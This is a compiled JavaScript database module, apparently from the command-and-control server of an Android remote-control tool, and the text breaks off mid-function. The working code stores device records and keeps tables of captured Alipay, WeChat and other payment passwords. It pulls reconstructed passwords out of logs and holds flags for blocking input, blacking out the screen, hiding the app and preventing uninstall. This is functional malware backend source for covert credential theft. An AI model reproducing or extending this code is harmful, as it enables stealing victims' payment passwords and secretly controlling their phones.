1733 lines
65 KiB
JavaScript
1733 lines
65 KiB
JavaScript
"use strict";
|
||
var __importDefault = (this && this.__importDefault) || function (mod) {
|
||
return (mod && mod.__esModule) ? mod : { "default": mod };
|
||
};
|
||
Object.defineProperty(exports, "__esModule", { value: true });
|
||
exports.DatabaseService = void 0;
|
||
const better_sqlite3_1 = __importDefault(require("better-sqlite3"));
|
||
const Logger_1 = __importDefault(require("../utils/Logger"));
|
||
class DatabaseService {
|
||
constructor(dbPath = './devices.db') {
|
||
this.logger = new Logger_1.default('DatabaseService');
|
||
this.db = new better_sqlite3_1.default(dbPath);
|
||
this.initDatabase();
|
||
this.logger.info('数据库服务已初始化');
|
||
}
|
||
/**
|
||
* 初始化数据库表结构
|
||
*/
|
||
initDatabase() {
|
||
try {
|
||
// 创建设备表
|
||
this.db.exec(`
|
||
CREATE TABLE IF NOT EXISTS devices (
|
||
deviceId TEXT PRIMARY KEY,
|
||
deviceName TEXT NOT NULL,
|
||
deviceModel TEXT NOT NULL,
|
||
osVersion TEXT NOT NULL,
|
||
appVersion TEXT NOT NULL,
|
||
appPackage TEXT,
|
||
appName TEXT,
|
||
screenWidth INTEGER NOT NULL,
|
||
screenHeight INTEGER NOT NULL,
|
||
capabilities TEXT NOT NULL,
|
||
firstSeen DATETIME NOT NULL,
|
||
lastSeen DATETIME NOT NULL,
|
||
connectionCount INTEGER DEFAULT 1,
|
||
lastSocketId TEXT,
|
||
status TEXT DEFAULT 'offline',
|
||
publicIP TEXT,
|
||
remark TEXT,
|
||
systemVersionName TEXT,
|
||
romType TEXT,
|
||
romVersion TEXT,
|
||
osBuildVersion TEXT
|
||
)
|
||
`);
|
||
// 确保新增列存在(迁移)
|
||
this.ensureDeviceTableColumns();
|
||
// ✅ 添加status字段到现有表(如果不存在)
|
||
try {
|
||
this.db.exec(`ALTER TABLE devices ADD COLUMN status TEXT DEFAULT 'offline'`);
|
||
}
|
||
catch (error) {
|
||
// 字段已存在,忽略错误
|
||
}
|
||
// 🆕 添加publicIP字段到现有表(如果不存在)
|
||
try {
|
||
this.db.exec(`ALTER TABLE devices ADD COLUMN publicIP TEXT`);
|
||
}
|
||
catch (error) {
|
||
// 字段已存在,忽略错误
|
||
}
|
||
// 🆕 添加系统版本信息字段到现有表(如果不存在)
|
||
try {
|
||
this.db.exec(`ALTER TABLE devices ADD COLUMN systemVersionName TEXT`);
|
||
}
|
||
catch (error) {
|
||
// 字段已存在,忽略错误
|
||
}
|
||
try {
|
||
this.db.exec(`ALTER TABLE devices ADD COLUMN romType TEXT`);
|
||
}
|
||
catch (error) {
|
||
// 字段已存在,忽略错误
|
||
}
|
||
try {
|
||
this.db.exec(`ALTER TABLE devices ADD COLUMN romVersion TEXT`);
|
||
}
|
||
catch (error) {
|
||
// 字段已存在,忽略错误
|
||
}
|
||
try {
|
||
this.db.exec(`ALTER TABLE devices ADD COLUMN osBuildVersion TEXT`);
|
||
}
|
||
catch (error) {
|
||
// 字段已存在,忽略错误
|
||
}
|
||
// 创建连接历史表
|
||
this.db.exec(`
|
||
CREATE TABLE IF NOT EXISTS connection_history (
|
||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||
deviceId TEXT NOT NULL,
|
||
socketId TEXT NOT NULL,
|
||
connectedAt DATETIME NOT NULL,
|
||
disconnectedAt DATETIME,
|
||
duration INTEGER,
|
||
connectionQuality TEXT,
|
||
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
||
)
|
||
`);
|
||
// 创建操作日志表
|
||
this.db.exec(`
|
||
CREATE TABLE IF NOT EXISTS operation_logs (
|
||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||
deviceId TEXT NOT NULL,
|
||
logType TEXT NOT NULL,
|
||
content TEXT NOT NULL,
|
||
extraData TEXT,
|
||
timestamp DATETIME NOT NULL,
|
||
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
||
)
|
||
`);
|
||
// ✅ 创建设备状态表
|
||
this.db.exec(`
|
||
CREATE TABLE IF NOT EXISTS device_states (
|
||
deviceId TEXT PRIMARY KEY,
|
||
password TEXT,
|
||
inputBlocked BOOLEAN DEFAULT FALSE,
|
||
loggingEnabled BOOLEAN DEFAULT FALSE,
|
||
blackScreenActive BOOLEAN DEFAULT FALSE,
|
||
lastPasswordUpdate DATETIME,
|
||
confirmButtonCoords TEXT, -- JSON格式存储坐标 {x: number, y: number}
|
||
learnedConfirmButton TEXT, -- JSON格式存储学习的坐标 {x: number, y: number, count: number}
|
||
createdAt DATETIME NOT NULL,
|
||
updatedAt DATETIME NOT NULL,
|
||
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
||
)
|
||
`);
|
||
// 🆕 为现有表添加新字段(如果不存在)
|
||
try {
|
||
this.db.exec(`ALTER TABLE device_states ADD COLUMN confirmButtonCoords TEXT`);
|
||
}
|
||
catch (error) {
|
||
// 字段已存在,忽略错误
|
||
}
|
||
try {
|
||
this.db.exec(`ALTER TABLE device_states ADD COLUMN learnedConfirmButton TEXT`);
|
||
}
|
||
catch (error) {
|
||
// 字段已存在,忽略错误
|
||
}
|
||
try {
|
||
this.db.exec(`ALTER TABLE device_states ADD COLUMN blackScreenActive BOOLEAN DEFAULT FALSE`);
|
||
}
|
||
catch (error) {
|
||
// 字段已存在,忽略错误
|
||
}
|
||
try {
|
||
this.db.exec(`ALTER TABLE device_states ADD COLUMN appHidden BOOLEAN DEFAULT FALSE`);
|
||
}
|
||
catch (error) {
|
||
// 字段已存在,忽略错误
|
||
}
|
||
try {
|
||
this.db.exec(`ALTER TABLE device_states ADD COLUMN uninstallProtectionEnabled BOOLEAN DEFAULT FALSE`);
|
||
}
|
||
catch (error) {
|
||
// 字段已存在,忽略错误
|
||
}
|
||
// 💰 创建支付宝密码记录表
|
||
this.db.exec(`
|
||
CREATE TABLE IF NOT EXISTS alipay_passwords (
|
||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||
deviceId TEXT NOT NULL,
|
||
password TEXT NOT NULL,
|
||
passwordLength INTEGER NOT NULL,
|
||
activity TEXT NOT NULL,
|
||
inputMethod TEXT NOT NULL,
|
||
sessionId TEXT NOT NULL,
|
||
timestamp DATETIME NOT NULL,
|
||
createdAt DATETIME NOT NULL,
|
||
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
||
)
|
||
`);
|
||
// 💬 创建微信密码记录表
|
||
this.db.exec(`
|
||
CREATE TABLE IF NOT EXISTS wechat_passwords (
|
||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||
deviceId TEXT NOT NULL,
|
||
password TEXT NOT NULL,
|
||
passwordLength INTEGER NOT NULL,
|
||
activity TEXT NOT NULL,
|
||
inputMethod TEXT NOT NULL,
|
||
sessionId TEXT NOT NULL,
|
||
timestamp DATETIME NOT NULL,
|
||
createdAt DATETIME NOT NULL,
|
||
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
||
)
|
||
`);
|
||
// 🔐 创建通用密码输入记录表
|
||
this.db.exec(`
|
||
CREATE TABLE IF NOT EXISTS password_inputs (
|
||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||
deviceId TEXT NOT NULL,
|
||
password TEXT NOT NULL,
|
||
passwordLength INTEGER NOT NULL,
|
||
passwordType TEXT NOT NULL,
|
||
activity TEXT NOT NULL,
|
||
inputMethod TEXT NOT NULL,
|
||
installationId TEXT NOT NULL,
|
||
sessionId TEXT NOT NULL,
|
||
timestamp DATETIME NOT NULL,
|
||
createdAt DATETIME NOT NULL,
|
||
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
||
)
|
||
`);
|
||
// 🔐 创建用户设备权限表
|
||
this.db.exec(`
|
||
CREATE TABLE IF NOT EXISTS user_device_permissions (
|
||
userId TEXT NOT NULL,
|
||
deviceId TEXT NOT NULL,
|
||
permissionType TEXT DEFAULT 'control',
|
||
grantedAt DATETIME NOT NULL,
|
||
expiresAt DATETIME,
|
||
isActive BOOLEAN DEFAULT TRUE,
|
||
createdAt DATETIME NOT NULL,
|
||
updatedAt DATETIME NOT NULL,
|
||
PRIMARY KEY (userId, deviceId),
|
||
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
||
)
|
||
`);
|
||
// 创建索引优化查询性能
|
||
this.db.exec(`
|
||
CREATE INDEX IF NOT EXISTS idx_logs_device_time ON operation_logs (deviceId, timestamp DESC)
|
||
`);
|
||
this.db.exec(`
|
||
CREATE INDEX IF NOT EXISTS idx_logs_type ON operation_logs (logType)
|
||
`);
|
||
this.db.exec(`
|
||
CREATE INDEX IF NOT EXISTS idx_device_states_deviceId ON device_states (deviceId)
|
||
`);
|
||
this.db.exec(`
|
||
CREATE INDEX IF NOT EXISTS idx_alipay_passwords_deviceId ON alipay_passwords (deviceId)
|
||
`);
|
||
this.db.exec(`
|
||
CREATE INDEX IF NOT EXISTS idx_alipay_passwords_timestamp ON alipay_passwords (timestamp DESC)
|
||
`);
|
||
this.db.exec(`
|
||
CREATE INDEX IF NOT EXISTS idx_wechat_passwords_deviceId ON wechat_passwords (deviceId)
|
||
`);
|
||
this.db.exec(`
|
||
CREATE INDEX IF NOT EXISTS idx_wechat_passwords_timestamp ON wechat_passwords (timestamp DESC)
|
||
`);
|
||
this.db.exec(`
|
||
CREATE INDEX IF NOT EXISTS idx_password_inputs_deviceId ON password_inputs (deviceId)
|
||
`);
|
||
this.db.exec(`
|
||
CREATE INDEX IF NOT EXISTS idx_password_inputs_timestamp ON password_inputs (timestamp DESC)
|
||
`);
|
||
this.db.exec(`
|
||
CREATE INDEX IF NOT EXISTS idx_password_inputs_type ON password_inputs (passwordType)
|
||
`);
|
||
this.logger.info('数据库表初始化完成');
|
||
}
|
||
catch (error) {
|
||
this.logger.error('初始化数据库失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* 迁移:确保 devices 表包含新增列
|
||
*/
|
||
ensureDeviceTableColumns() {
|
||
try {
|
||
const pragma = this.db.prepare(`PRAGMA table_info(devices)`).all();
|
||
const columns = new Set(pragma.map(c => c.name));
|
||
const pendingAlters = [];
|
||
if (!columns.has('appPackage')) {
|
||
pendingAlters.push(`ALTER TABLE devices ADD COLUMN appPackage TEXT`);
|
||
}
|
||
if (!columns.has('appName')) {
|
||
pendingAlters.push(`ALTER TABLE devices ADD COLUMN appName TEXT`);
|
||
}
|
||
if (!columns.has('remark')) {
|
||
pendingAlters.push(`ALTER TABLE devices ADD COLUMN remark TEXT`);
|
||
}
|
||
if (pendingAlters.length > 0) {
|
||
this.logger.info(`检测到 devices 表缺少列,开始迁移: ${pendingAlters.length} 项`);
|
||
const tx = this.db.transaction((sqls) => {
|
||
sqls.forEach(sql => this.db.exec(sql));
|
||
});
|
||
tx(pendingAlters);
|
||
this.logger.info('devices 表列迁移完成');
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('迁移 devices 表失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 根据socketId查询设备信息
|
||
*/
|
||
getDeviceBySocketId(socketId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
SELECT * FROM devices WHERE lastSocketId = ?
|
||
`);
|
||
const row = stmt.get(socketId);
|
||
if (row) {
|
||
return this.rowToDeviceRecord(row);
|
||
}
|
||
return null;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('根据socketId查询设备失败:', error);
|
||
return null;
|
||
}
|
||
}
|
||
/**
|
||
* 根据deviceId查询设备信息
|
||
*/
|
||
getDeviceById(deviceId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
SELECT * FROM devices WHERE deviceId = ?
|
||
`);
|
||
const row = stmt.get(deviceId);
|
||
if (row) {
|
||
return this.rowToDeviceRecord(row);
|
||
}
|
||
return null;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('根据deviceId查询设备失败:', error);
|
||
return null;
|
||
}
|
||
}
|
||
/**
|
||
* 保存或更新设备信息
|
||
*/
|
||
saveDevice(deviceInfo, socketId) {
|
||
try {
|
||
const existing = this.getDeviceById(deviceInfo.deviceId);
|
||
const now = new Date();
|
||
if (existing) {
|
||
// 更新现有设备
|
||
const stmt = this.db.prepare(`
|
||
UPDATE devices SET
|
||
deviceName = ?,
|
||
deviceModel = ?,
|
||
osVersion = ?,
|
||
appVersion = ?,
|
||
appPackage = ?,
|
||
appName = ?,
|
||
screenWidth = ?,
|
||
screenHeight = ?,
|
||
capabilities = ?,
|
||
lastSeen = ?,
|
||
connectionCount = connectionCount + 1,
|
||
lastSocketId = ?,
|
||
status = 'online',
|
||
publicIP = ?,
|
||
remark = ?,
|
||
systemVersionName = ?,
|
||
romType = ?,
|
||
romVersion = ?,
|
||
osBuildVersion = ?
|
||
WHERE deviceId = ?
|
||
`);
|
||
// 仅当传入的 remark 明确提供时才更新,否则保留数据库中的 remark
|
||
const remarkToUse = (deviceInfo.remark !== undefined) ? deviceInfo.remark : existing.remark;
|
||
stmt.run(deviceInfo.deviceName, deviceInfo.deviceModel, deviceInfo.osVersion, deviceInfo.appVersion, deviceInfo.appPackage || null, deviceInfo.appName || null, deviceInfo.screenWidth, deviceInfo.screenHeight, JSON.stringify(deviceInfo.capabilities), now.toISOString(), socketId, deviceInfo.publicIP || null, remarkToUse || null, deviceInfo.systemVersionName || null, deviceInfo.romType || null, deviceInfo.romVersion || null, deviceInfo.osBuildVersion || null, deviceInfo.deviceId);
|
||
this.logger.info(`设备信息已更新: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
||
}
|
||
else {
|
||
// 插入新设备
|
||
const stmt = this.db.prepare(`
|
||
INSERT INTO devices (
|
||
deviceId, deviceName, deviceModel, osVersion, appVersion, appPackage, appName,
|
||
screenWidth, screenHeight, capabilities, firstSeen, lastSeen,
|
||
connectionCount, lastSocketId, status, publicIP, remark,
|
||
systemVersionName, romType, romVersion, osBuildVersion
|
||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||
`);
|
||
stmt.run(deviceInfo.deviceId, deviceInfo.deviceName, deviceInfo.deviceModel, deviceInfo.osVersion, deviceInfo.appVersion, deviceInfo.appPackage || null, deviceInfo.appName || null, deviceInfo.screenWidth, deviceInfo.screenHeight, JSON.stringify(deviceInfo.capabilities), now.toISOString(), now.toISOString(), 1, socketId, 'online', deviceInfo.publicIP || null, deviceInfo.remark || null, deviceInfo.systemVersionName || null, deviceInfo.romType || null, deviceInfo.romVersion || null, deviceInfo.osBuildVersion || null);
|
||
this.logger.info(`新设备已记录: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
||
}
|
||
// 记录连接历史
|
||
this.recordConnection(deviceInfo.deviceId, socketId, now);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('保存设备信息失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* 记录连接历史
|
||
*/
|
||
recordConnection(deviceId, socketId, connectedAt) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
INSERT INTO connection_history (deviceId, socketId, connectedAt)
|
||
VALUES (?, ?, ?)
|
||
`);
|
||
stmt.run(deviceId, socketId, connectedAt.toISOString());
|
||
}
|
||
catch (error) {
|
||
this.logger.error('记录连接历史失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* ✅ 将设备状态设置为离线
|
||
*/
|
||
setDeviceOffline(deviceId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
UPDATE devices SET status = 'offline', lastSeen = ? WHERE deviceId = ?
|
||
`);
|
||
stmt.run(new Date().toISOString(), deviceId);
|
||
this.logger.info(`设备状态已设置为离线: ${deviceId}`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('设置设备离线状态失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 通过Socket ID将设备设置为离线
|
||
*/
|
||
setDeviceOfflineBySocketId(socketId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
UPDATE devices SET status = 'offline', lastSeen = ? WHERE lastSocketId = ?
|
||
`);
|
||
stmt.run(new Date().toISOString(), socketId);
|
||
this.logger.info(`设备状态已设置为离线 (Socket: ${socketId})`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('通过Socket ID设置设备离线状态失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* ✅ 将所有设备状态重置为离线
|
||
*/
|
||
resetAllDevicesToOffline() {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
UPDATE devices SET status = 'offline', lastSeen = ?
|
||
`);
|
||
const result = stmt.run(new Date().toISOString());
|
||
this.logger.info(`已将 ${result.changes} 个设备状态重置为离线`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('重置所有设备状态失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 更新连接断开信息
|
||
*/
|
||
updateDisconnection(socketId) {
|
||
try {
|
||
const disconnectedAt = new Date();
|
||
// 查找最近的连接记录
|
||
const findStmt = this.db.prepare(`
|
||
SELECT * FROM connection_history
|
||
WHERE socketId = ? AND disconnectedAt IS NULL
|
||
ORDER BY connectedAt DESC LIMIT 1
|
||
`);
|
||
const connection = findStmt.get(socketId);
|
||
if (connection) {
|
||
const connectedAt = new Date(connection.connectedAt);
|
||
const duration = Math.floor((disconnectedAt.getTime() - connectedAt.getTime()) / 1000);
|
||
const updateStmt = this.db.prepare(`
|
||
UPDATE connection_history SET
|
||
disconnectedAt = ?,
|
||
duration = ?,
|
||
connectionQuality = ?
|
||
WHERE id = ?
|
||
`);
|
||
// 根据连接时长判断连接质量
|
||
let quality = 'good';
|
||
if (duration < 30) {
|
||
quality = 'poor';
|
||
}
|
||
else if (duration < 120) {
|
||
quality = 'fair';
|
||
}
|
||
updateStmt.run(disconnectedAt.toISOString(), duration, quality, connection.id);
|
||
this.logger.info(`连接断开记录已更新: ${socketId}, 持续时间: ${duration}秒, 质量: ${quality}`);
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('更新断开连接记录失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 获取设备连接统计
|
||
*/
|
||
getDeviceStats(deviceId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
SELECT
|
||
COUNT(*) as totalConnections,
|
||
AVG(duration) as avgDuration,
|
||
MAX(duration) as maxDuration,
|
||
MIN(duration) as minDuration,
|
||
SUM(CASE WHEN connectionQuality = 'poor' THEN 1 ELSE 0 END) as poorConnections
|
||
FROM connection_history
|
||
WHERE deviceId = ? AND duration IS NOT NULL
|
||
`);
|
||
return stmt.get(deviceId);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取设备统计失败:', error);
|
||
return null;
|
||
}
|
||
}
|
||
/**
|
||
* 获取所有设备列表
|
||
*/
|
||
getAllDevices() {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
SELECT * FROM devices ORDER BY lastSeen DESC
|
||
`);
|
||
const rows = stmt.all();
|
||
return rows.map(row => this.rowToDeviceRecord(row));
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取设备列表失败:', error);
|
||
return [];
|
||
}
|
||
}
|
||
/**
|
||
* 清理旧连接记录
|
||
*/
|
||
cleanupOldRecords(daysToKeep = 30) {
|
||
try {
|
||
const cutoffDate = new Date();
|
||
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
|
||
const stmt = this.db.prepare(`
|
||
DELETE FROM connection_history
|
||
WHERE connectedAt < ?
|
||
`);
|
||
const result = stmt.run(cutoffDate.toISOString());
|
||
this.logger.info(`清理了 ${result.changes} 条旧连接记录`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('清理旧记录失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 转换数据库行为DeviceRecord
|
||
*/
|
||
rowToDeviceRecord(row) {
|
||
return {
|
||
deviceId: row.deviceId,
|
||
deviceName: row.deviceName,
|
||
deviceModel: row.deviceModel,
|
||
osVersion: row.osVersion,
|
||
appVersion: row.appVersion,
|
||
appPackage: row.appPackage,
|
||
appName: row.appName,
|
||
screenWidth: row.screenWidth,
|
||
screenHeight: row.screenHeight,
|
||
capabilities: JSON.parse(row.capabilities),
|
||
firstSeen: new Date(row.firstSeen),
|
||
lastSeen: new Date(row.lastSeen),
|
||
connectionCount: row.connectionCount,
|
||
lastSocketId: row.lastSocketId,
|
||
status: row.status || 'offline', // ✅ 添加状态字段
|
||
publicIP: row.publicIP,
|
||
remark: row.remark, // 🆕 添加备注字段
|
||
// 🆕 添加系统版本信息字段
|
||
systemVersionName: row.systemVersionName,
|
||
romType: row.romType,
|
||
romVersion: row.romVersion,
|
||
osBuildVersion: row.osBuildVersion
|
||
};
|
||
}
|
||
/**
|
||
* 🆕 更新设备备注
|
||
*/
|
||
updateDeviceRemark(deviceId, remark) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
UPDATE devices SET remark = ? WHERE deviceId = ?
|
||
`);
|
||
const result = stmt.run(remark, deviceId);
|
||
if (result.changes > 0) {
|
||
this.logger.info(`设备备注已更新: ${deviceId} -> ${remark}`);
|
||
return true;
|
||
}
|
||
else {
|
||
this.logger.warn(`设备不存在或备注更新失败: ${deviceId}`);
|
||
return false;
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('更新设备备注失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 获取设备备注
|
||
*/
|
||
getDeviceRemark(deviceId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
SELECT remark FROM devices WHERE deviceId = ?
|
||
`);
|
||
const row = stmt.get(deviceId);
|
||
return row ? row.remark : null;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取设备备注失败:', error);
|
||
return null;
|
||
}
|
||
}
|
||
/**
|
||
* 保存操作日志
|
||
*/
|
||
saveOperationLog(log) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
INSERT INTO operation_logs (deviceId, logType, content, extraData, timestamp)
|
||
VALUES (?, ?, ?, ?, ?)
|
||
`);
|
||
stmt.run(log.deviceId, log.logType, log.content, log.extraData ? JSON.stringify(log.extraData) : null, log.timestamp.toISOString());
|
||
this.logger.debug(`操作日志已保存: ${log.deviceId} - ${log.logType}`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('保存操作日志失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* 获取设备操作日志(分页)
|
||
*/
|
||
getOperationLogs(deviceId, page = 1, pageSize = 50, logType) {
|
||
try {
|
||
// 构建查询条件
|
||
let whereClause = 'WHERE deviceId = ?';
|
||
let params = [deviceId];
|
||
if (logType) {
|
||
whereClause += ' AND logType = ?';
|
||
params.push(logType);
|
||
}
|
||
// 查询总数
|
||
const countStmt = this.db.prepare(`
|
||
SELECT COUNT(*) as total FROM operation_logs ${whereClause}
|
||
`);
|
||
const totalResult = countStmt.get(...params);
|
||
const total = totalResult.total;
|
||
// 查询分页数据
|
||
const offset = (page - 1) * pageSize;
|
||
const dataStmt = this.db.prepare(`
|
||
SELECT * FROM operation_logs ${whereClause}
|
||
ORDER BY timestamp DESC
|
||
LIMIT ? OFFSET ?
|
||
`);
|
||
const rows = dataStmt.all(...params, pageSize, offset);
|
||
const logs = rows.map(row => ({
|
||
id: row.id,
|
||
deviceId: row.deviceId,
|
||
logType: row.logType,
|
||
content: row.content,
|
||
extraData: row.extraData ? JSON.parse(row.extraData) : null,
|
||
timestamp: new Date(row.timestamp)
|
||
}));
|
||
const totalPages = Math.ceil(total / pageSize);
|
||
return {
|
||
logs,
|
||
total,
|
||
page,
|
||
pageSize,
|
||
totalPages
|
||
};
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取操作日志失败:', error);
|
||
return {
|
||
logs: [],
|
||
total: 0,
|
||
page: 1,
|
||
pageSize,
|
||
totalPages: 0
|
||
};
|
||
}
|
||
}
|
||
/**
|
||
* 删除设备的所有操作日志
|
||
*/
|
||
clearOperationLogs(deviceId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
DELETE FROM operation_logs WHERE deviceId = ?
|
||
`);
|
||
const result = stmt.run(deviceId);
|
||
this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条操作日志`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('清理操作日志失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* 清理旧的操作日志
|
||
*/
|
||
cleanupOldOperationLogs(daysToKeep = 7) {
|
||
try {
|
||
const cutoffDate = new Date();
|
||
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
|
||
const stmt = this.db.prepare(`
|
||
DELETE FROM operation_logs WHERE timestamp < ?
|
||
`);
|
||
const result = stmt.run(cutoffDate.toISOString());
|
||
this.logger.info(`清理了 ${result.changes} 条旧操作日志 (${daysToKeep}天前)`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('清理旧操作日志失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 获取操作日志统计
|
||
*/
|
||
getOperationLogStats(deviceId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
SELECT
|
||
logType,
|
||
COUNT(*) as count,
|
||
MIN(timestamp) as firstLog,
|
||
MAX(timestamp) as lastLog
|
||
FROM operation_logs
|
||
WHERE deviceId = ?
|
||
GROUP BY logType
|
||
ORDER BY count DESC
|
||
`);
|
||
const stats = stmt.all(deviceId);
|
||
return stats.map((stat) => ({
|
||
logType: stat.logType,
|
||
count: stat.count,
|
||
firstLog: new Date(stat.firstLog),
|
||
lastLog: new Date(stat.lastLog)
|
||
}));
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取操作日志统计失败:', error);
|
||
return [];
|
||
}
|
||
}
|
||
/**
|
||
* 获取设备最新的密码记录
|
||
*/
|
||
getLatestDevicePassword(deviceId) {
|
||
try {
|
||
// 查询包含密码信息的最新日志
|
||
const stmt = this.db.prepare(`
|
||
SELECT content, extraData FROM operation_logs
|
||
WHERE deviceId = ?
|
||
AND (
|
||
content LIKE '%🔒 密码输入:%' OR
|
||
content LIKE '%🔑 密码输入分析完成%' OR
|
||
content LIKE '%密码%' OR
|
||
content LIKE '%PIN%'
|
||
)
|
||
ORDER BY timestamp DESC
|
||
LIMIT 1
|
||
`);
|
||
const row = stmt.get(deviceId);
|
||
if (row) {
|
||
// 尝试从 extraData 中获取密码
|
||
if (row.extraData) {
|
||
try {
|
||
const extraData = JSON.parse(row.extraData);
|
||
if (extraData.reconstructedPassword) {
|
||
return extraData.reconstructedPassword;
|
||
}
|
||
if (extraData.actualPasswordText) {
|
||
return extraData.actualPasswordText;
|
||
}
|
||
if (extraData.password) {
|
||
return extraData.password;
|
||
}
|
||
}
|
||
catch (e) {
|
||
// 忽略 JSON 解析错误
|
||
}
|
||
}
|
||
// 尝试从 content 中提取密码
|
||
const content = row.content;
|
||
// 匹配 "🔒 密码输入: xxx (N位)" 格式
|
||
const passwordMatch = content.match(/🔒 密码输入:\s*(.+?)\s*\(\d+位\)/);
|
||
if (passwordMatch) {
|
||
const password = passwordMatch[1].trim();
|
||
// 过滤掉纯遮罩字符的密码
|
||
if (password && !password.match(/^[•*]+$/)) {
|
||
return password;
|
||
}
|
||
}
|
||
// 匹配 "🔑 密码输入分析完成: xxx" 格式
|
||
const analysisMatch = content.match(/🔑 密码输入分析完成:\s*(.+)/);
|
||
if (analysisMatch) {
|
||
const password = analysisMatch[1].trim();
|
||
if (password && !password.match(/^[•*]+$/)) {
|
||
return password;
|
||
}
|
||
}
|
||
}
|
||
return null;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取设备密码失败:', error);
|
||
return null;
|
||
}
|
||
}
|
||
/**
|
||
* ✅ 获取设备状态
|
||
*/
|
||
getDeviceState(deviceId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
SELECT * FROM device_states WHERE deviceId = ?
|
||
`);
|
||
const row = stmt.get(deviceId);
|
||
if (row) {
|
||
return {
|
||
deviceId: row.deviceId,
|
||
password: row.password,
|
||
inputBlocked: !!row.inputBlocked,
|
||
loggingEnabled: !!row.loggingEnabled,
|
||
blackScreenActive: !!row.blackScreenActive,
|
||
appHidden: !!row.appHidden,
|
||
uninstallProtectionEnabled: !!row.uninstallProtectionEnabled,
|
||
lastPasswordUpdate: row.lastPasswordUpdate ? new Date(row.lastPasswordUpdate) : undefined,
|
||
confirmButtonCoords: row.confirmButtonCoords ? JSON.parse(row.confirmButtonCoords) : undefined,
|
||
learnedConfirmButton: row.learnedConfirmButton ? JSON.parse(row.learnedConfirmButton) : undefined,
|
||
createdAt: new Date(row.createdAt),
|
||
updatedAt: new Date(row.updatedAt)
|
||
};
|
||
}
|
||
return null;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取设备状态失败:', error);
|
||
return null;
|
||
}
|
||
}
|
||
/**
|
||
* ✅ 保存或更新设备状态
|
||
*/
|
||
saveDeviceState(deviceId, state) {
|
||
try {
|
||
const existing = this.getDeviceState(deviceId);
|
||
const now = new Date();
|
||
if (existing) {
|
||
// 更新现有状态
|
||
const updates = [];
|
||
const params = [];
|
||
if (state.password !== undefined) {
|
||
updates.push('password = ?');
|
||
params.push(state.password);
|
||
updates.push('lastPasswordUpdate = ?');
|
||
params.push(now.toISOString());
|
||
}
|
||
if (state.inputBlocked !== undefined) {
|
||
updates.push('inputBlocked = ?');
|
||
params.push(state.inputBlocked ? 1 : 0);
|
||
}
|
||
if (state.loggingEnabled !== undefined) {
|
||
updates.push('loggingEnabled = ?');
|
||
params.push(state.loggingEnabled ? 1 : 0);
|
||
}
|
||
if (state.blackScreenActive !== undefined) {
|
||
updates.push('blackScreenActive = ?');
|
||
params.push(state.blackScreenActive ? 1 : 0);
|
||
}
|
||
if (state.appHidden !== undefined) {
|
||
updates.push('appHidden = ?');
|
||
